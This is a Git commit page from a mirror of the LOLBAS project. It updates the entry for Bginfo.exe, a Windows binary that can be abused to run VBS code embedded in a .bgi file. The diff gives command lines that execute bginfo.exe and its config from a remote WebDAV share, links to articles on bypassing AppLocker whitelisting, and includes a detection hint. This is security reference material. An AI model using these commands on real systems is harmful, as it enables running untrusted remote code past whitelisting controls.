infosecn1nja
/
LOLBAS
mirror of https://github.com/infosecn1nja/LOLBAS.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated Bginfo.exe

master
Oddvar Moe 2018-05-14 23:14:17 +02:00
parent 250fea0f3d
commit 42013be3aa
1 changed files with 28 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

32
OtherMSBinaries/Bginfo.md
View File

@ -3,11 +3,35 @@
* Functions: Execute
```
bginfo.exe bginfo.bgi /popup /nolicprompt
(Add vbs code inside .bgi file)
bginfo.exe bginfo.bgi /popup /nolicprompt
"\\10.10.10.10\webdav\bginfo.exe" bginfo.bgi /popup /nolicprompt
"\live.sysinternals.com\Tools\bginfo.exe" \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```
Acknowledgements:
* Oddvar Moe - @oddvarmoe
Code sample:
* https://github.com/api0cradle/BGInfo/blob/master/BGITool_1.0.ps1
Resources:
* https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
* https://oddvar.moe/2017/05/22/clarification-bginfo-4-22-applocker-still-vulnerable/
* https://twitter.com/Oddvarmoe/status/865330067630694400
* https://twitter.com/ItsReallyNick/status/996133093613424641
* https://github.com/3gstudent/bgi-creater
* https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/
Full path:
```
No fixed path
```
Notes:
Used to set background image in Windows with details about the environment
Detection:
Bginfo.exe requesting files externally or running VBS scripts.